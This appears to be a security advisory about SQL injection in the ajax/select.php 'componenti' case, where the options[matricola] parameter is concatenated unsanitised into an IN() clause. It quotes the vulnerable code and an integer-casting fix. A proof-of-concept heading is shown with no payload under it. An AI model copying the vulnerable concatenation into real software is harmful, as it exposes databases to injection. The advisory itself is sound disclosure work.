A SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.
File: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
$_GET['options']['matricola'] → $superselect['matricola']IN() clause without sanitizationManual PoC (Time-based Blind SQLi):

Cast values to integers before using in SQL:
Before:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
After:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
